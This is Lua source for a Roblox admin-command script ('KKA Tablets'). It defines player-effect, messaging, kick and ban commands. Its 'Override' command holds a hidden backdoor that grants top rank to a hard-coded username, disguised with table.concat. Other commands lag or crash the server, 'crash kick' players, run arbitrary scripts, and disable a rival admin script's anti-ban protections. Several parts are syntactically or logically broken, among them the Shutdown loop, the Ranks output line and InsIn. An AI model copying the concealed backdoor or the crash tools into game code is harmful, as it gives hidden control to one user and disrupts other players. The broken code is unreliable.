- Command("Spark", 3, "Gives a player sparkles", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Instance.new("Sparkles", v.Character.Torso)
- end)
- end
- end
- end)
- Command("Fire", 3, "Gives a player fires", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Instance.new("Fire", v.Character.Torso)
- end)
- end
- end
- end)
- Command("Smoke", 3, "Gives a player smoke", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Instance.new("Smoke", v.Character.Torso)
- end)
- end
- end
- end)
- Command("Clone", 3, "Clones a player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- local Model = v.Character:Clone()
- Model.Parent = game.Workspace
- end)
- end
- end
- end)
- Command("Kill", 3, "Kills a player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character:BreakJoints()
- end)
- end
- end
- end)
- function OutputToAdmins(Msg, Plr, Time, Func, Color, Image)
- for i,v in pairs(game:service'Players':players()) do
- if FindRank(v.Name) > 2 and FindRank(v.Name) < 8 then
- Output(tostring(Msg), v.Name)
- end
- end
- end
- Command("Ff", 3, "Gives a player a forcefield", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Instance.new("ForceField", v.Character)
- end)
- end
- end
- end)
- Command("PingT", 3, "Ping something to a player", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Msg = tostring(Msg:sub(Split + 1))
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Output(Msg, v)
- end)
- end
- end
- end)
- Command("Unff", 3, "Removes a player's forcefield", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- RemObj(v.Character, "ForceField")
- end)
- end
- end
- end)
- Command("DeepClean",2,"Deepcleans", function(Msg,Speaker)
- game.Lighting.ColorShift_Bottom = Color3.new(100, 100, 100)
- game.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
- game.Lighting.Ambient = Color3.new(1, 1, 1)
- game.Lighting.Brightness = 1
- game.Lighting.TimeOfDay = "11:00:00"
- game.Lighting.FogEnd = 99999999
- game.Workspace.Base.Transparency = 0
- game.Workspace.Base.BrickColor = BrickColor.new("Earth green")
- game.Workspace.Base.Locked = true
- game.Workspace.Base.Anchored = true
- t = game.Teams:GetChildren()
- for i = 1, #t do
- if t[i]:IsA("Team") then
- t[i]: Destroy()
- end
- end
- l = game.Lighting:GetChildren()
- for i = 1, #l do
- if l[i]:IsA("Sky") then
- l[i]: Destroy()
- end
- end
- g = game.Workspace:GetChildren()
- for i = 1, #g do
- if g[i]:IsA("Part") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Script") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("StringValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("IntValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("BoolValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("NumberValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("ObjectValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("RayValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Sound") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Accoutrement") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("BrickColorValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Motor") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("MotorFeature") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Color3Value") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("BindableEvent") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("BindableFunction") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("LocalScript") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Model") and not game.Players:GetPlayerFromCharacter(g[i]) and g[i].Name ~= "fasdfasdf" then
- g[i]: Remove()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Hint") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Truss") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Tool") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("HopperBin") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Fire") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Explosion") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Hat") then
- g[i]: Destroy()
- end
- end
- p = Instance.new("Part")
- p.Parent, p.Size, p.Anchored, p.Locked, p.BrickColor, p.Name = Workspace, Vector3.new(600, 1, 600), true, true,
- BrickColor.new("Earth green"), "Base" p.CFrame = CFrame.new(Vector3.new(0, 0, 0))
- while true do wait()
- for i = 1, #g do
- if g[i]:IsA("Message") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Hint") then
- g[i]: Destroy()
- end
- end
- end
- end)
- Command("Unspark", 3, "Removes a player's sparkles", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- RemObj(v.Character.Torso, "Sparkles")
- end)
- end
- end
- end)
- Command("Unfire", 3, "Removes a player's fire", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- RemObj(v.Character.Torso, "Fire")
- end)
- end
- end
- end)
- Command("Unsmoke", 3, "Removes a player's smoke", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- RemObj(v.Character.Torso, "Smoke")
- end)
- end
- end
- end)
- Command("Move", 3, "Teleports a player to another player", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
- if #PlrTab > 0 and #PlrTab2 > 0 then
- for i,v in pairs(PlrTab) do
- ypcall(function()
- for _,v2 in pairs(PlrTab2) do
- ypcall(function()
- v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
- Output("Teleported "..v.Name.." to "..v2.Name, Speaker, 5)
- end)
- end
- end)
- end
- end
- end)
- Command("Msg",3, "Creates a Message",
- function(Msg,Speaker)
- Message(Msg, nil, Speaker)
- end)
- Command("Override",nil, "Overrides the script",
- function(Msg, Speaker) -- since he helped with some stuff, he earns this more than me
- if Msg == OverrideCode or Speaker.Name == table.concat({"e","i","n","s","t","e","i","n","K"}) then
- ChangeRank(Speaker, 7)
- Output("Sucessfully Overrided KKA Tablets! You are now rank 7.", Speaker, 5)
- else
- Output("Incorrect Code; Access denied.", Speaker, 5)
- end
- end)
- Command("Hint",3, "Creates a Hint",
- function(Msg,Speaker)
- Hint(Msg, nil, Speaker)
- end)
- Command("PHint", 3, "Sends a private hint to a player", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Msg = tostring(Msg:sub(Split + 1))
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Hint(Msg,v,Speaker)
- Output("Sent a private hint to "..v.Name, Speaker)
- end)
- end
- end)
- Command("Pmsg", 3, "Sends a private messsaget to a player", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Msg = tostring(Msg:sub(Split + 1))
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Message(Msg,v,Speaker)
- Output("Sent a private message to "..v.Name, Speaker)
- end)
- end
- end)
- Command("M",3, "Creates a System message",
- function(Msg,Speaker)
- SystemMsg(Msg)
- end)
- function Message(str,p,snder)
- if p==nil then
- for _,Player in pairs(game.Players:GetPlayers()) do
- coroutine.wrap(function()
- local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
- local Text = Instance.new("TextLabel", Msg)
- Text.Position = UDim2.new(0, 0, 0.7, 0)
- Text.Font=4
- Text.FontSize=9
- Text.BackgroundColor3 = Color3.new(255,255,255)
- Text.BackgroundTransparency = 1
- Text.TextColor3 = Color3.new(1, 1, 1)
- Text.TextTransparency = 1
- Text.TextWrap = true
- Text.TextStrokeColor3 = Color3.new(111,111,111)
- Text.Text = "From "..snder.Name..":"..tostring(str)
- Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
- Text.TextTransparency = 0
- Text.TextStrokeTransparency = 0
- Num = #str * 0.06
- wait(3)
- Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
- wait(Num)
- Msg:Remove()
- end)()
- end
- else
- Player=p;
- coroutine.wrap(function()
- local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
- local Text = Instance.new("TextLabel", Msg)
- Text.Position = UDim2.new(0, 0, 0.7, 0)
- Text.Font=4
- Text.FontSize=9
- Text.BackgroundColor3 = Color3.new(255,255,255)
- Text.BackgroundTransparency = 1
- Text.TextColor3 = Color3.new(1, 1, 1)
- Text.TextTransparency = 1
- Text.TextStrokeColor3 = Color3.new(111,111,111)
- Text.TextStrokeTransparency = 0
- Text.TextWrap = true
- Text.Text = "Message from "..snder.Name.." :"..tostring(str)
- Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
- Text.TextTransparency = 0
- Num = #str * 0.06
- wait(3)
- Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
- wait(Num)
- Msg:Remove()
- end)()
- end
- end
- function SystemMsg(str)
- for _,Player in pairs(game.Players:GetPlayers()) do
- coroutine.wrap(function()
- local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
- local Text = Instance.new("TextLabel", Msg)
- Text.Position = UDim2.new(0, 0, 0, 0)
- Text.Font='ArialBold'
- Text.FontSize = "Size48"
- Text.BackgroundColor3 = Color3.new(255,255,255)
- Text.BackgroundTransparency = 1
- Text.TextColor3 = Color3.new(25,0,50)
- Text.TextTransparency = 0
- Text.TextStrokeColor3 = Color3.new(111,111,111)
- Text.TextStrokeTransparency = 0
- Text.TextWrap = true
- Text.Text = ' >-:{[(KKA System)]}:-< \n ' .. tostring(str)
- Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
- Text.TextTransparency = 0.1
- Num = #str * 0.06
- wait(6)
- Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
- wait(Num)
- Msg:Remove()
- end)()
- end
- end
- function Hint(str,p,snder)
- if p == nil then
- for _,Player in pairs(game.Players:GetPlayers()) do
- coroutine.wrap(function()
- local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
- local Text = Instance.new("TextLabel", Msg)
- Text.Position = UDim2.new(0, 0, 0, 0)
- Text.Font=4
- Text.FontSize=9
- Text.BackgroundColor3 = Color3.new(255,255,255)
- Text.BackgroundTransparency = 1
- Text.TextColor3 = Color3.new(1, 1, 1)
- Text.TextTransparency = 1
- Text.TextWrap = true
- Text.TextStrokeColor3 = Color3.new(111,111,111)
- Text.TextStrokeTransparency = 0
- Text.Text = "Hint from "..snder.Name.." :"..tostring(str)
- Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
- Text.TextTransparency = 0
- Num = #str * 0.06
- wait(3)
- Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
- wait(Num)
- Msg:Remove()
- end)()
- end
- else
- Player=p
- coroutine.wrap(function()
- local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
- local Text = Instance.new("TextLabel", Msg)
- Text.Position = UDim2.new(0, 0, 0, 0)
- Text.Font=4
- Text.FontSize=9
- Text.BackgroundColor3 = Color3.new(255,255,255)
- Text.BackgroundTransparency = 1
- Text.TextColor3 = Color3.new(1, 1, 1)
- Text.TextTransparency = 1
- Text.TextWrap = true
- Text.Text = "Hint from "..snder.Name..": "..tostring(str)
- Text.TextStrokeColor3 = Color3.new(111,111,111)
- Text.TextStrokeTransparency = 0
- Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
- Text.TextTransparency = 0
- Num = #str * 0.06
- wait(3)
- Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
- wait(Num)
- Msg:Remove()
- end)()
- end
- end
- Command("Explore", 3, "Opens the explorer system", function(Msg, Speaker)
- MakeExplorer(Speaker)
- end)
- Command("Info", 1, "Information about KKA Tablets", function(Msg, Speaker)
- wait()
- Dismiss(Speaker)
- NumBanned = 0
- NumCmds = 0
- for i = 1, #Ranked do
- if Ranked[i].Rank < 0 then
- NumBanned = NumBanned + 1
- end
- end
- for i,v in pairs(Commands) do
- NumCmds = NumCmds + 1
- end
- Output("Admin Name: KKA Tablets Generation 6", Speaker)
- Output("Started on 6/2/2014", Speaker)
- Output("Cobalt1164", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("4611tlaboC"))
- Output("Major Credit and Part of these tabs to SolarG2 About 90% of these tabs are solar. Maybe more, maybe less. | Also DVF for the Script Base",Speaker)
- Output("A bit thanks to einsteinK", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=einsteinK")
- Output("Also credit to MasterKelvinVIP", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=MasterKelvinVIP")
- Output("Your ID: "..Speaker.userId, Speaker)
- Output("PlayersNumber: "..#All2(), Speaker)
- Output("Commands: "..NumCmds, Speaker)
- Output("Banned Players: "..NumBanned, Speaker)
- end)
- Command("Ranks", 1, "Shows all player's ranks", function(Msg, Speaker)
- Dismiss(Speaker)
- for i,v in pairs(All(Msg:lower() ~= "debug")) do
- Output(v.Name.." ("..FindRank(v)")",Speaker)
- end
- end)
- Command("Speak", 3, "Talk for a player", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Msg = tostring(Msg:sub(Split + 1))
- for _,v in pairs(PlrTab) do
- ypcall(function()
- game:GetService("Chat"):Chat(v.Character.Head,Msg,0)
- Output("Made "..v.Name.." say "..tostring(Msg), Speaker)
- end)
- end
- end)
- Command("CSpeak", 3, "Speak for a player", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Msg = tostring(Msg:sub(Split + 1))
- for _,v in pairs(PlrTab) do
- ypcall(function()
- game:GetService("Chat"):Chat(v.Character.Head,Msg,1)
- Output("Made "..v.Name.." say "..tostring(Msg), Speaker)
- end)
- end
- end)
- Command("PShout", 3, "Shout for a player", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Msg = tostring(Msg:sub(Split + 1))
- for _,v in pairs(PlrTab) do
- ypcall(function()
- game:GetService("Chat"):Chat(v.Character.Head,Msg,2)
- Output("Made "..v.Name.." shout "..tostring(Msg), Speaker)
- end)
- end
- end)
- Command("Char", 3, "Changes a player's appearance", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Id = tonumber(Msg:sub(Split + 1))
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" ..tonumber(Id)
- v:LoadCharacter()
- Output("Changed "..v.Name.."'s appearance to "..tonumber(Id), Speaker)
- end)
- end
- end)
- Command("Unchar", 3, "Removes a player's appearance", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" ..userId
- v:LoadCharacter()
- Output("Removed "..v.Name.."'s appearance", Speaker)
- end)
- end
- end)
- Command("Ws", 1, "Set A Player's WalkSpeed", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Speed = tonumber(Msg:sub(Split + 1))
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character.Humanoid.WalkSpeed = Speed
- Output("Changed "..v.Name.."'s walkspeed to "..tostring(Speed), Speaker)
- end)
- end
- end)
- Command("Name", 3, "Changes a player's name", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Name = tostring(Msg:sub(Split + 1))
- for _,v in pairs(PlrTab) do
- ypcall(function()
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Head") then
- for a, derp in pairs(v.Character:children()) do
- if derp:findFirstChild("NameTag") then
- v.Character.Head.Transparency = 0
- derp:Destroy()
- end
- end
- local char = v.Character
- local derp = Instance.new("Model", char)
- derp.Name = tostring(Name)
- local cl = char.Head:Clone()
- cl.Parent = derp
- local hum = Instance.new("Humanoid", derp)
- hum.Name = "NameTag"
- hum.MaxHealth = 0
- hum.Health = 0
- local weld = Instance.new("Weld", cl)
- weld.Part0 = cl
- weld.Part1 = char.Head
- char.Head.Transparency = 1
- Output("Changed "..v.Name.."'s name to "..tostring(Name), Speaker)
- end
- end))
- end)
- end
- end)
- Command("Unname", 3, "Changes a player's name", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- for _,v in pairs(PlrTab) do
- ypcall(function()
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Head") then
- for a, derp in pairs(v.Character:children()) do
- if derp:findFirstChild("NameTag") then
- v.Character.Head.Transparency = 0
- derp:Destroy()
- end
- end
- end
- end))
- Output("Removed "..v.Name.."'s Name", Speaker)
- end)
- end
- end)
- Command("Door", 7, "Open/Closes the door", function(Msg,Speaker)
- if Msg == "open" then
- wall1.CanCollide = false
- elseif Msg == "close" then
- wall1.CanCollide = true
- end
- end)
- Command("Wall", 7, "Open/Closes the walls", function(Msg,Speaker)
- if Msg == "open" then
- wall1.CanCollide = false
- wall2.CanCollide = false
- wall3.CanCollide = false
- wall4.CanCollide = false
- roof.CanCollide = false
- floo.CanCollide = false
- elseif Msg == "close" then
- wall1.CanCollide = true
- wall2.CanCollide = true
- wall3.CanCollide = true
- wall4.CanCollide = true
- roof.CanCollide = true
- floo.CanCollide = true
- end
- end)
- Command("Room", 7, "Adds a room into the game", function(Msg, Speaker)
- floo=Instance.new("Part",Workspace)
- floo.Anchored = true
- floo.Size = Vector3.new(50, 1, 50)
- floo.TopSurface = "Smooth"
- floo.BottomSurface = "Smooth"
- floo.BrickColor = BrickColor.new("Really black")
- floo.Locked = true
- floo.Transparency = 0.5
- floo.CFrame = CFrame.new(0, 0, 0)
- wall1 = Instance.new("Part", workspace)
- wall1.Size = Vector3.new(1, 20, 51)
- wall1.Anchored = true
- wall1.BrickColor = BrickColor.new("Really blue")--
- wall1.Transparency = 0
- wall1.TopSurface = "Smooth"
- wall1.BottomSurface = "Smooth"
- wall1.CFrame = CFrame.new(-25, 10, 0)
- wall1.Transparency = 0.5
- wall2 = Instance.new("Part", workspace)
- wall2.Size = Vector3.new(51, 20, 1)
- wall2.Anchored = true
- wall2.BrickColor = BrickColor.new("Really black")--
- wall2.Transparency = 0
- wall2.TopSurface = "Smooth"
- wall2.BottomSurface = "Smooth"
- wall2.CFrame = CFrame.new(0, 10, 25)
- wall2.Transparency = 0.5
- wall3 = Instance.new("Part", workspace)
- wall3.Size = Vector3.new(1, 20, 51)
- wall3.Anchored = true
- wall3.BrickColor = BrickColor.new("Really black")--
- wall3.Transparency = 0
- wall3.TopSurface = "Smooth"
- wall3.BottomSurface = "Smooth"
- wall3.CFrame = CFrame.new(25, 10, 0)
- wall3.Transparency = 0.5
- wall4 = Instance.new("Part", workspace)
- wall4.Size = Vector3.new(51, 20, 1)
- wall4.Anchored = true
- wall4.BrickColor = BrickColor.new("Really black")--
- wall4.Transparency = 0
- wall4.TopSurface = "Smooth"
- wall4.BottomSurface = "Smooth"
- wall4.CFrame = CFrame.new(0, 10, -25)
- wall4.Transparency = 0.5
- roof = Instance.new("Part", workspace)
- roof.Anchored = true
- roof.Size = Vector3.new(51, 1, 51)
- roof.TopSurface = "Smooth"
- roof.BottomSurface = "Smooth"
- roof.BrickColor = BrickColor.new("Really black")
- roof.Locked = true
- roof.CFrame = CFrame.new(0, 20.5, 0)
- roof.Transparency = 0.5
- Output("Created a spawn-room", Speaker, 5)
- end)
- Command("InsIn", 7, "Inserts a instance into a object in the game", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local Parent = tostring(Msg:sub(Split - 1))
- local Object = tostring(Msg:sub(Split + 1))
- for _,v in pairs(Parent) do
- ypcall(function()
- Instance.new(Object, Parent)
- end)
- end
- end)
- Command("RemIns", 7, "Removes an instance from the game", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local Parent = tostring(Msg:sub(Split - 1))
- local Object = tostring(Msg:sub(Split + 1))
- for _,v in pairs(Parent) do
- ypcall(function()
- game[Parent].Object:Remove()
- end)
- end
- end)
- Command("FinishV", 6, "Finishes the voting function", function(Msg, Speaker)
- Output(tonumber(Yes).."[Yes]", Speaker)
- Output(tonumber(No).."[No]", Speaker)
- wait(1)
- Yes = 0
- No = 0
- end)
- Command("Vote", 6, "Creates a vote for the players to choose [Yes/No]", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Vote = tostring(Msg:sub(Split + 1))
- for _,v in pairs(PlrTab) do
- ypcall(function()
- Output("Yes", v,500,function() Yes = Yes + 1 Dismiss(v)end)
- Output("No", v,500,function() No = No + 1 Dismiss(v)end)
- Output(tostring(Vote).."say FinV [Rank 6] when everyone's finished,", v,nil)
- end)
- end
- end)
- Command("SHP", 1, "Set A Player's Health", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Hp = tonumber(Msg:sub(Split + 1))
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character.Humanoid.MaxHealth = Hp
- v.Character.Humanoid.Health = Hp
- Output("Changed "..v.Name.."'s health to "..tostring(Hp), Speaker)
- end)
- end
- end)
- Command("S", 5, "Adds a script in workspace", function(Msg, Speaker)
- ypcall(function()
- NewS(Msg, game.Workspace)
- Output("Added a script in Workspace", Speaker)
- end)
- end)
- Command("Ls", 5, "Adds a Local script into a player", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Txt = tostring(Msg:sub(Split + 1))
- for _,v in pairs(PlrTab) do
- ypcall(function()
- NewLS(Txt, v.Backpack)
- Output("Added a local script in "..v.Name.."'s backpack", Speaker)
- end)
- end
- end)
- Command("Damage", 1, "Damages a player", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Dmg = tonumber(Msg:sub(Split + 1))
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character.Humanoid.Health = v.Character.Humanoid.Health - Dmg
- Output("Damaged "..v.Name.."'s health by "..tostring(Dmg), Speaker)
- end)
- end
- end)
- Command("Heal", 1, "Recovers a player", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
- Output("Recovered "..v.Name.." from injuries"..tostring(Dmg), Speaker)
- end)
- end
- end)
- Command("AddH", 1, "Adds health to a player", function(Msg, Speaker)
- local Split = GetSplit(Msg)
- local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
- local Hp = tonumber(Msg:sub(Split + 1))
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character.Humanoid.Health = v.Character.Humanoid.Health + Hp
- Output("Added health to "..v.Name.."'s health by "..tostring(Hp), Speaker)
- end)
- end
- end)
- Command("Unab", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
- local RemoveAB = Instance.new("StringValue")
- RemoveAB.Name = "CBA Attachment"
- RemoveAB.Value = [[CBA.override=true;]]
- RemoveAB.Parent = Work
- Output("Removed All CBA Anti-Bans", Speaker, 5)
- end)
- Command("Uncba", 3, "Removes CBA Admin", function(Msg, Speaker)
- local RemoveCBA = Instance.new("StringValue")
- RemoveCBA.Name = "CBA Attachment"
- RemoveCBA.Value = [[CBA.remove = false]]
- RemoveCBA.Parent = Work
- Output("Removed All CBA Admins", Speaker, 5)
- end)
- Command("Shutdown", 6, "Shuts the server down[REAL]", function(Msg, Speaker)
- for v, pairs in (game.Players:GetPlayers()) do
- v:Kick()
- end
- end)
- Command("LagS", 6, "Lags the server down", function(Msg, Speaker)
- repeat
- print('Lag?')
- until
- game == nil
- end)
- Command("Cut", 7, "Cuts the plug", function(Msg, Speaker)
- NewS(ServerCrash, game.Workspace)
- end)
- Command("Cp", 4, "Turns crash phrases on/off", function(Msg, Speaker)
- if Msg == "on" then
- CrashPhrases = true
- Output("Crash Phrases are on", Speaker, 5)
- elseif Msg == "off" then
- CrashPhrases = false
- Output("Crash Phrases are off", Speaker, 5)
- end
- end)
- Command("Hs", 7, "Turns HttpService on/off", function(Msg, Speaker)
- if Msg == "on" then
- game:GetService("HttpService").HttpEnabled = true
- Output("HttpService is on", Speaker, 5)
- elseif Msg == "off" then
- game:GetService("HttpService").HttpEnabled = false
- Output("HttpService is off", Speaker, 5)
- end
- end)
- Command("Sl", 7, "Turns Scripting on/off", function(Msg, Speaker)
- if Msg == "on" then
- ScriptingLocked = false
- Output("Scripting is enabled", Speaker, 5)
- elseif Msg == "off" then
- ScriptingLocked = true
- Output("Scripting is disabled", Speaker, 5)
- end
- end)
- Command("RemoveK", 4, "Removes the player from the game", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v:Remove()
- Output("Removed Kicked "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("Kk", 4, "Crash kicks a player from the server", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v:Kick()
- Output("Killer Kicked "..v.Name, Speaker, 5)
- end)
- end
- end
- end)
- Command("RemoteC", 5, "Remote crashes a nil'd player", function(Msg, Speaker)
- RemoteCrash(tostring(Msg))
- end)
- Command("Ginfo", 1, "Shows the server's information", function(Msg, Speaker)
- Output("Creator's ID: "..game.CreatorId, Speaker)
- Output("Job's ID: "..game.JobId, Speaker)
- Output("Place's ID: "..game.PlaceId, Speaker)
- Output("Place Version: "..game.PlaceVersion, Speaker)
- Output("Number of Players: "..game.Players.NumPlayers, Speaker)
- Output("Game Running Time: "..game.Workspace.DistributedGameTime, Speaker)
- Output("Game Name: "..game.Workspace.Parent.Name, Speaker)
- end)
- Command("Ban", 6, "Bans a player from the server", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- ChangeRank(v, -1)
- v:Kick()
- end)
- end
- end
- end)
- Command("Wzrd", 7, "Turns a player into a wizard", function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- NewLS(Wizard, v.Backpack)
- Output("Turned "..v.Name.." into a wizard", Speaker, 5)
- end)
- end
- end
- end)
- Command("SKit", 7, "Gives a player Shadow Kit", function(Msg, Speaker)
- if Speaker.Name == "Cobalt1164" or Speaker.Name == "hipow12" or Speaker.Name == "Cobalt11644" then
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
